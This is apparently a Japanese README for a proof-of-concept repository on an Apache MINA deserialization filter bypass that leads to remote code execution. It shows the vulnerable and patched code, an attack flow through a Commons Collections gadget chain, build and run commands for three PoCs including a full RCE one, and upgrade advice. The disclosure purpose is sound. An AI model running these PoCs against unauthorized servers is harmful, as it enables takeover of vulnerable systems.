CVSS 3.1: 9.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502 信頼できないデータの逆シリアライゼーション
報告者: Venkatraman Kumar, Securin
アドバイザリ: Apache Mailing List
Apache MINA バージョン 2.1.0 から 2.1.11 および 2.2.0 から 2.2.6 には、AbstractIoBuffer.resolveClass() に逆シリアライゼーションフィルタバイパスが存在します。逆シリアライズ可能なJavaクラスを制限することを目的とした acceptMatchers 許可リストは、ObjectStreamClass.forClass() が null を返すと完全にスキップされます。
ObjectSerializationCodecFactory を使用するMINAエンドポイントにネットワークアクセスできる攻撃者は、クラスフィルタをバイパスするプロトコルペイロードを作成でき、標準的なJava逆シリアライゼーションガジェットチェーン(例: Commons Collections)を介して完全なリモートコード実行を可能にします。
これは CVE-2026-41635 の不完全な修正です。元のパッチは 2.0.x ブランチに適用されましたが、マージ時の見落としにより 2.1.x または 2.2.x にはバックポートされませんでした。
| ブランチ | 脆弱性あり | 修正済み |
|---|---|---|
| 2.1.x | 2.1.0 – 2.1.11 | 2.1.12 |
| 2.2.x | 2.2.0 – 2.2.6 | 2.2.7 |
この脆弱性は、Javaオブジェクトの逆シリアライゼーション中のクラス解決を処理する AbstractIoBuffer.resolveClass() に存在します。
MINAは、2つのクラス記述子タイプを持つカスタムシリアライゼーションプロトコルを使用します:
脆弱なコードでは、acceptMatchers フィルタはタイプ1ブランチでのみチェックされます(forClass() が非nullを返す場合)。タイプ0ブランチは Class.forName() を直接呼び出し、フィルタを完全にバイパスします:
// AbstractIoBuffer.java — 脆弱性あり (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
Class<?> clazz = desc.forClass();
if (clazz == null) {
// BUG: acceptMatchersチェックなし — フィルタが完全にバイパスされる
return Class.forName(name, false, classLoader);
} else {
// フィルタはここでのみ適用される
for (ClassNameMatcher matcher : acceptMatchers) { ... }
}
}
2.2.7 の修正では、フィルタチェックがブランチの前に移動されています:
// AbstractIoBuffer.java — 修正済み (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
String className = desc.getName();
// フィルタが最初に適用される(forClass() の結果に関係なく)
if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
throw new ClassNotFoundException("Class not in accept list " + className);
}
Class<?> clazz = desc.forClass();
// ... 以降は安全な解決処理
}
攻撃者 脆弱なMINAサーバー
| |
| 1. ガジェットチェーンクラス用のタイプ0 |
| 記述子を含むMINAペイロードを作成 |
| |
| 2. ObjectSerializationCodecFactory を使用する |
| エンドポイントに送信 -------------------->|
| |
| 3. readClassDescriptor() がタイプ0を読み取る
| → スーパークラス(標準Java)に委譲 |
| |
| 4. resolveClass() が forClass()==null を検出
| → フィルタなしで Class.forName() を呼び出し |
| |
| 5. ガジェットチェーンが完全に逆シリアライズされる
| → readObject() がチェーンをトリガー
| → Runtime.exec() が発火 |
| |
| RCE達成 |
IoBuffer.getObject() または ObjectSerializationCodecFactory を使用しているaccept() が設定されている(フィルタがないアプリケーションは CVE-2026-41635 ですでに悪用可能だった)攻撃者はシリアライズされたバイトストリームを制御します。Serializableガジェットチェーンクラスに対してタイプ1ではなくタイプ0のクラス記述子を使用することで、逆シリアライゼーショングラフ内のすべてのクラスが、アプリケーションの許可リスト設定に関係なく acceptMatchers フィルタをバイパスします。
3つのPoCが段階的な影響を示しています:
| PoC | 証明する内容 |
|---|---|
FilterBypassPoC.java | プリミティブ、非Serializableクラス、配列に対するフィルタバイパス |
CraftedBypassPoC.java | 攻撃者が作成したタイプ0ペイロードが任意のSerializableクラスのフィルタをバイパス |
RcePoC.java | フィルタバイパスを介したCC6ガジェットチェーンによる完全なRCE |
許可リストにないクラスが制限なく逆シリアライズされます:

攻撃者はタイプ0記述子を持つMINAプロトコルペイロードを作成し、Stringのみの許可リストを通過して任意のクラスをロードします:

CC6バリアントのガジェットチェーン(HashSet → TiedMapEntry → LazyMap → ChainedTransformer → Runtime.exec())がフィルタバイパスを介してコマンド実行を達成します:

同じテストが修正版ではブロックされます:

ガジェットチェーンがフィルタによって拒否されます:

最も速いテスト方法 — JDKやMavenは不要です:
# このリポジトリをクローン
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779
# すべてのPoCをビルドして実行
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779
# 個別のPoCを実行
docker run --rm cve-2026-42779 bypass # フィルタバイパスのみ
docker run --rm cve-2026-42779 crafted # 作成されたペイロードのバイパス
docker run --rm cve-2026-42779 rce # 完全なRCE
# シェルに入って調査
docker run --rm -it cve-2026-42779 shell
このイメージには、脆弱なMINA 2.2.6 JAR、Commons Collections 3.2.2、および3つの事前コンパイル済みPoCがすべてバンドルされています。すべてがコンテナ内で自己完結的に実行されます。
ソースからビルドする場合は:
# 脆弱なバージョンをクローンしてビルド
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q
# commons-collectionsをダウンロード(RCE PoC用)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
-o commons-collections-3.2.2.jar
# PoCをコンパイル
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java
# フィルタバイパスPoCを実行
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC
# 作成されたペイロードPoCを実行
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC
# 完全なRCE PoCを実行
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
RcePoC
または、同梱の Makefile を使用:
make run-all # 3つのPoCすべてをビルドして実行
make run-rce # RCE PoCのみ
要件: JDK 11+ および Maven(ソースビルドの場合)、または Docker(コンテナの場合)
Apache MINA 2.1.12 または 2.2.7 にアップグレードしてください。
すぐにアップグレードできない場合:
IoBuffer.getObject() または ObjectSerializationCodecFactory を使用しない| 日付 | イベント |
|---|---|
| 2026-05-01 | Apache MINA PMC によるアドバイザリ公開 |
| 2026-05-01 | 修正版 2.1.12 および 2.2.7 がリリース |
| 2026-05-02 | このPoCが開発・テストされた |
この概念実証は、防御的なセキュリティ研究、教育、および許可された侵入テストのみを目的として提供されています。責任を持って、テストする許可を得たシステムに対してのみ使用してください。